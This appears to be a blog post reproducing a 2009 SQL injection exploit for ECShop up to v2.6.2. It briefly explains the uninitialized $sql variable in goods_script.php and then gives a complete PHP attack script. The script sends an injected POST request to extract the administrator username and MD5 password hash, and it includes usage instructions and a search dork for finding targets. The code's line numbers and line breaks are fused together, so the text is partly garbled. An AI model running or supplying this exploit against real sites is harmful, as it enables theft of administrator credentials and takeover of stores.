ECShop <= v2.6.2 注入漏洞利用工具exploit ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit 作者:Ryat 2009-03-24 影响2.5.x和2.6.x,其他版本未测试 goods_script.php44行: 1 if (empty($_GET['type']))2 {3 ...4 }5 elseif ($_GET['type'] == 'collection')6 {7 ...8 }9 $sql .= " LIMIT " . (!empty($_GET['goods_num']) ? intval($_GET['goods_num']) : 10);10 $res = $db->query($sql); $sql没有初始化,很明显的一个漏洞:) Exploit: 1#!/usr/bin/php2<?php3 4print_r('5+---------------------------------------------------------------------------+6[ECShop <= v2.6.2 SQL injection / admin credentials disclosure exploit](/blog/ecshop-v262-sql-injection)7by puret_t8mail: puretot at gmail dot com9team: <http://bbs.wolvez.org>10dork: "Powered by ECShop"11+---------------------------------------------------------------------------+12');13/\*\*14 \* works with register_globals = On15 \*/67 collapsed lines16if ($argc < 3) {17 print_r('18+---------------------------------------------------------------------------+19Usage: php '.$argv[0].' host path20host: target server (ip/hostname)21path: path to ecshop22Example:23php '.$argv[0].' localhost /ecshop/24+---------------------------------------------------------------------------+25');26 exit;27}28 29error_reporting(7);30ini_set('max_execution_time', 0);31 32$host = $argv[1];33$path = $argv[2];34 35$resp = send();36preg_match('#href="([S]+):([a-z0-9]{32})"#', $resp, $hash);37 38if ($hash)39 exit("Expoilt Success!40admin: $hash[1]41Password(md5): $hash[2]42");43else44 exit("Exploit Failed!45");46 47function send()48{49 global $host, $path;50 51 $cmd = 'sql=SELECT CONCAT(user_name,0x3a,password) as goods_id FROM ecs_admin_user WHERE action_list=0x'.bin2hex('all').' LIMIT 1#';52 53 $data = "POST ".$path."goods_script.php?type=".time()." HTTP/1.154";55 $data .= "Accept: \*/\*56";57 $data .= "Accept-Language: zh-cn58";59 $data .= "Content-Type: application/x-www-form-urlencoded60";61 $data .= "User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)62";63 $data .= "Host: $host64";65 $data .= "Content-Length: ".strlen($cmd)."66";67 $data .= "Connection: Close68";69 $data .= $cmd;70 71 $fp = fsockopen($host, 80);72 fputs($fp, $data);73 74 $resp = '';75 76 while ($fp && !feof($fp))77 $resp .= fread($fp, 1024);78 79 return $resp;80}81 82?>